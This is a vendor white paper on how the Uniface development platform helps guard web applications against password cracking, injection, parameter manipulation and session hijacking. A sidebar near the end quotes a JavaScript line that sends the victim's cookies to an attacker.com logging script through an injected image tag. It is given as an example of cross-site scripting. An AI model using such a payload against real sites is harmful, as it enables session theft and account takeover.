• No results found

Uniface and Web Application Security

N/A
N/A
Protected

Academic year: 2021

Share "Uniface and Web Application Security"

Copied!
9
0
0

Loading.... (view fulltext now)

Full text

(1)

Uniface and Web

Application Security

written by James Rodger, Uniface Subject

(2)

Introduction

This paper describes how Uniface helps developers produce securely coded applications. It’s aimed not only at security experts, but also at IT and business managers with an interest in safeguarding information and resources.

First we explain why this is a hot topic, and introduce Uniface for those who aren’t already familiar with it. Then we delve into some of the features that make Uniface an ideal choice for web applications security.

Why Should We Be Interested in Security,

and Secure Coding in Particular?

General Security Concerns

Security issues are disturbing executives’ rest in the wake of high-profile incidents. Incidents like this can cost money in terms of regulatory

penalties, reputation damage, the need to compensate or mollify users, and lost business.

Part of the stress for business leaders comes from the fact that, with businesses increasingly opening up their data and systems to the outside world, it’s unrealistic to expect full security at the perimeter. There is no firewall that can’t be breached. Another worry is the realization that attacks can come from within – for example, from disaffected employees or from malware.

It therefore makes sense to complement your efforts to defend the perimeter with steps to make sure individual elements are intrinsically secure.

Specific Web Application Security Concerns

There are particular concerns about web applications, because by their nature they often open up information to users outside the company. Public web applications are by definition accessible to every “bad” person with access to the internet. You’re dealing with people actively trying to break your application. Internal web applications may be only accessible to employees, but there is always the risk of disgruntled staff or contractors with their own agenda.

Techniques like SQL injection and JavaScript injection or session hijacking have joined the more obvious ones like password cracking as ways for outsiders to get access to data and resources that they shouldn’t. The Open Web Application Security Project (OWASP) produces a useful list of the top 10 current threats1.

10 Ways

Uniface Helps

You Succeed

PRODUCTIVITY RELIABILITY SECURITY INTEGRATION & REUSE

SCALABILITY AGILITY SUSTAINABILITY TECHNOLOGY INDEPENDENCE COMMUNITY PARTNERSUNITED PROGRAM #1

#2 #3 #4 #5 #6 #7 #8 #9 #10

(3)

There are a variety of methods for securing web applications, some of which, such as firewalls and password hygiene, are common to all applications. In addition, software development processes need to encourage a security culture so everyone – from design to testing to deployment – is conscious of security issues.

Nonetheless, secure coding of web applications is vital. It complements your other security measures and gives you a second line of defense when those measures are breached.

The Importance of Secure Coding

Security needs to be designed in – it can’t be plugged in afterwards, for example at the time of deployment, as some organizations try to do. Some development environments make it easier than others to design and code secure web applications.

Having a solution that gives you the features you need to write secure web applications – including both front and back ends – and provides a complete set of secure features out of the box can greatly help this effort. That completeness means you secure everything from database drivers to the JavaScript front end in an integrated way.

This comprehensive approach to secure coding contrasts with perhaps other development environments where users need to select languages, application frameworks, JavaScript front ends and so on, individually. There’s a lot of risk involved in this process, as well as a potential learning curve and the possibility that one part of your solution won’t play nicely with the rest.

Uniface in Short

Apart from its ability to support secure coding, which we’ll discuss next, Uniface has strong security credentials:

• We make our product as secure as possible to benefit the entire customer base.

• Security audits take place on customer applications all over the world, all the time. We work with customers to deal with their concerns and make sure the right preventative measures are in our product (that is why we use HTTP-only cookies in the default Uniface install, for example).

• We work with Vericode who carry out regular security tests on Uniface Web.

The Uniface platform: • Is an Integrated

Development Environment (IDE) and deployment tool • Operates on Microsoft

Windows, Linux, proprietary Unix, and legacy platforms from HP and IBM

• Maintains critical enterprise data and supports vital business processes (e.g. web-based online shopping, financial transactions, salary administration, and inventory control), making it an ideal solution for complex systems • Is used by thousands of

companies and millions of end-users.

Uniface applications: • Are database- and

platform-independent • Integrate with all major

database products • Integrate with many other

technologies at multiple tiers of the application architecture

• Range in architecture from mobile to web to client/ server

• Include everything from data entry to intranets.

New to Uniface?

Start Here

(4)

We take a proactive stance on security issues. We’re always on the lookout for the next threats. When we spot a new one, we deal with it within our product and also work with our users to make sure they know what, if anything, they need to do. For example, Uniface uses the OpenSSL cryptographic software library and so we can respond to current threats by quickly reissuing the latest patches for our current versions. We also make our customers aware that other technologies they might be using to deploy Uniface applications could also be affected.

How Uniface Helps

Developers Secure Web Applications

Web Application Security Challenges

The special challenges of web development come into three categories, and are explained in more detail in the box below:

1. Applications are stateless – so the application needs to keep track of the state of each user

2. We typically have no control over the client

3. Often we have no control over the network, which also forms part of the application.

In addition, the greater complexity of a web application means there are many opportunities for attack – see diagram below.

Diagram:

Example Web

Web application challenges in more depth

Applications Are Stateless Web applications are built over HTTP, which is a stateless protocol. This means that each request has no knowledge of the requests that went before it and therefore the state of the application. The application is responsible for tracking the state of each user. This is done by passing session information to the client, which can be vulnerable to tampering and misuse.

No Control Over the Client Users access your application using a browser of their choice. This is challenging enough when it comes to ensuring everything works well in all the possible clients your users connect with. However, when we consider that malicious users can use clients specifically designed to find and exploit holes in our application things get even more challenging.

No Control Over the Network As well as the client, we need to look at the infrastructure connecting the client with our application on the server. For example, an innocent user could be compromised by a third party looking at traffic flowing over the network.

Technical Info

DOM

Browser Uniface Web Client

Web Container Web Server

(Tomcat) WRD Servlet Uniface Server userver USYHTTP DSP

Uniface DBMS Connector

HTTP Network Uniface Router 1 2 3 4 urouter 6 7 8

(5)

Areas that need to be considered when coding web applications include: • Authentication: Checking identity – ensuring people are who they say

they are

• Authorization: Who has access to what

• Browser security: How browsers behave and being aware of threats targeting the user’s client

• Session management: The application needs to track a user’s session across multiple requests. The mechanisms used to do this need to be secure against attack

• Data I/O: Any data coming from the client is suspect. Everything in a request needs to be checked and sanitized before you do anything with it. Data being passed back out to the client can potentially be read by anyone with access to the client or the network in between

• Configuration and deployment: Covers issues specific to web

applications like ensuring that your web server is configured in a secure way (to give a very simple example)

Combating Common Threats with Uniface

We’ll now focus on three specific types of threat and illustrate how Uniface can help developers guard against them.

The three types are: • Password cracking

• Interpreter injection (including SQL and JavaScript injection and parameter manipulation)

• Session hijacking, including session fixation, session sidejacking and physical access.

Password Cracking

This relates most to authentication, and to configuration and deployment. It is, of course, a problem with all applications, not just web ones. It includes brute forcing from the login page, or brute-forcing the database using common passwords or pre-computed hash tables (“rainbow tables”) in order to get at stored passwords giving access to your resources. Good password hygiene (e.g. policies that demand complex passwords) is an important part of the solution.

“A Uniface developer can also log failed attempts and after a number of these events force the user to solve a CAPTCHA (“Completely Automated Public Turing test to tell Computers and Humans Apart”). This prevents attacks using scripts to try large numbers of passwords Salt is added because,

even with a perfect hashing algorithm, there is nothing stopping an attacker simply running the hashing algorithm over and over for every possible input and recording what the hashes are (provided they have enough time and storage space). They can then look up the hashed passwords in the pre-computed tables, (referred to as rainbow tables). The aim of a salt is to make the input to the hash function so long that this approach isn’t feasible, because of the large number of values that would need to be pre-computed.

Technical Info

(6)

In the case of attacks on password databases, storing the passwords in hashed form is a way to protect your site once a breach has occurred. (It also protects other sites if users have reused their passwords.)

Hashing should make it impossible to get back from the “digest” or hashed form to the original password. Many hashing methods achieve this by adding “salt” – a random string – to the password.

Uniface offers a number of additional features that help with authentication and password security, including:

• sleep – pause execution to make brute-forcing a login page harder • $webinfo(“WEBSERVERCONTEXT”) – getting request information like

the remote IP

• $encode – hashing algorithms for storing passwords using standard industry technology (always better than designing your own).

Interpreter injection

This family of threats relates particularly to data I/O. They can involve the attackers forcing an application to interpret and execute their own code (code injection)2 or changing code that is already being executed on a server (command injection), among other tactics.

Uniface offers a variety of techniques for combating these attacks, both by making them hard or impossible to do and by allowing checks to be continuously performed so that such attacks can be detected and appropriate action taken.

With SQL injection, the attacker can run any SQL command that the database supports and that the privileges of the application allow. They could drop the entire database, run commands to get additional information about the operating system or data perhaps, allowing other attack vectors to be considered. They could also add their own data to a table via an insert instruction entered into a data field: For example, adding a user record with administrator privileges would then allow the attacker to access the entire application – a highly effective form of attack. This can be an issue if developers are using SQL in conjunction with a Uniface application.

Uniface counters SQL injection in the following way: If you’re using the Uniface database drivers, as we normally recommend, the database driver layer prevents SQL being injected. The only vulnerable command is the SQL proc statement, which you can audit for with a simple search of your source

(7)

With JavaScript injection, the attacker gets a victim’s browser to run their JavaScript instructions, for example by having their script displayed within the browser using a forum post (forums often allow the use of HMTL commands so that users can format their text, which is what enables JavaScript injection when this has been implemented poorly). This means the script runs with the application’s privileges – which is the dangerous part.

The attacker could, for example, send a user’s cookies to their server and then use that to log in as them. Alternatively, they could create a fake login page and overlay it above the actual website; the user may then type their username and password which the attacker can read and use to log in. Other options are to key-log everything the user types, or trick the user into downloading a browser extension which then reports back on every other site the user visits. Because JavaScript is the programming language of browsers, a JavaScript injection vector facilitates a wide range of attacks. Uniface has several features to counter or deal with JavaScript Injection. Anything displayed in a Uniface widget will be handled correctly. The only widget to be concerned about is the raw HTML one, which allows you to put whatever you want out to the browser. Reporting functionality available within the development environment allows you to simply locate where fields of any particular type, including raw HTML, are being used. DSPs are generally not vulnerable because data is added dynamically with JavaScript.

Parameter manipulation relies on the fact that you can’t control what data users send to an application – this fact can be used to bypass JavaScript validation or submit requests to any public operation or trigger within the application – therefore this data shouldn’t be trusted.

Once again Uniface has ways to handle parameter manipulation. The Uniface model provides a single place to define field validation. This is then applied client-side and server-side for you automatically. Uniface automatically enforces read-only fields and will throw security exceptions if the contained data has been tampered with.

Session Hijacking

This family of threats relate most to authentication and to configuration and deployment. They all revolve around knowing a user’s session ID so that the attacker can impersonate them. Combating them mainly comes down to good application design and having a good session management strategy. However, Uniface gives you the tools to do it easily.

Session fixation involves forcing a victim to use a known session ID: for example, sending an email with a link that contains a particular session ID. The attacker then just has to wait until the user logs in before taking over the now-authenticated session ID.

(8)

In the case of session sidejacking, the attacker can compromise the session ID while a user is already logged in, for example by using a “man in the middle” attack to read network traffic going between the browser and server. Firesheep is a Firefox extension that, when used on an open wi-fi network, lets an attacker sniff Facebook sessions and log in as the person concerned. The attacker could also use JavaScript injection or cross-site scripting to grab a logged in user’s session ID. Many of these problems can be avoided with the use of HTTPS.

Session sidejacking can be mitigated in Uniface by using information supplied to the developer by Uniface, things like remote IP address; this lets you check that the session ID is being used by the person you sent it to. The default configuration of Tomcat (the web server environment for running Java code) also uses secure cookies so in practice this type of attack shouldn’t happen if Uniface is used “out of the box”.

Other threats

Not all attacks can be prevented by application design or coding but there are often ways that developers can help to counter them. For example, Distributed Denial of Service attacks can be made much harder if the application prevents long processes from being run by users who are not logged in.

Eavesdropping and other “man in the middle attacks” involve intercepting traffic between the victim and the application server. Developers should be aware of this and make sure HTTPS is used whenever sensitive data is being transmitted.

Developers need to try and consider as many types of threat as possible and think how they would prevent, manage or recover from them. Uniface – and the Uniface security guidelines – can help.

Conclusion

Important though it is, secure coding is just one tool in the security armory and must be used in conjunction with deployment-related measures such as firewalls, password hygiene, management of user privileges, careful configuration of web servers and so on.

Developers of web applications need to be aware of issues like those discussed above so that they can design and code safeguards into their applications from the outset, and revisit them throughout the lifecycle, right through to deployment and support.

However, Uniface can do a lot to help them at the design and development An example of JavaScript

injection could be an attacker using JavaScript to write an image tag into the document. Whenever a user’s browser comes across an image tag, it will go to the address specified and try to load an image. An attacker can subvert this by creating an image tag that points at their own server and add all sorts of information to the query string. For example: document.write(‘<img src=\’http://attacker.com/ log_session.php?s=’ + escape(document.cookie) + ‘\’ />’);

This creates an image tag in the page which the user’s browser will try to download an image from. The attacker has written the user’s cookies into the query string, and this can then be read at attacker.com by the PHP script log_session.php

Technical Info

(9)

About Uniface

Uniface, the most productive, reliable development tool in the industry, provides a model-driven environment for the rapid development of scalable enterprise mission-critical applications. Learn more at www.uniface.com

References

Related documents

The exclusion criteria were the following: 1) studies not involving humans (in vitro or research conducted in animals); 2) case reports, qualitative research studies,

Durante os testes com a BLIS P16 e a bacteriocina A53, foi possível se observar que as mesmas possuíam uma ação sobre a morfologia externa celular da Leishmania, o que já

We argue in this paper that women in Egypt, particularly young women, face job quality issues that discourage them from continuing to work or even entering the

Cap diameter: 3.2 mm Base metal: AIMg3 Sheet thickness: 5 mm Welding amperage: 185 A Welding voltage: 15.6 V AC balance: 0 / Control panel of TT 2500 Standard.. All plAin

Although the probability of a beyond design base accident at nuclear power plant is very very low (~ 1 event in 1 million reactor year operations), BARC has developed an Indian

Response Letter with Sentencing Order.) Petitioner appealed to OOR on the basis that the document produced by the Department was not the “proper requested document.”

Overall,  the  picture  obtained  from  Table  2  suggests  that  the  primary  factors  which  distinguish  between  states  with  an  increasing  MFR  are  a 

We have analysed four sets of labour-market experiences. The …rst was the transition from compulsory school to various states: continuing their education, …nding a job,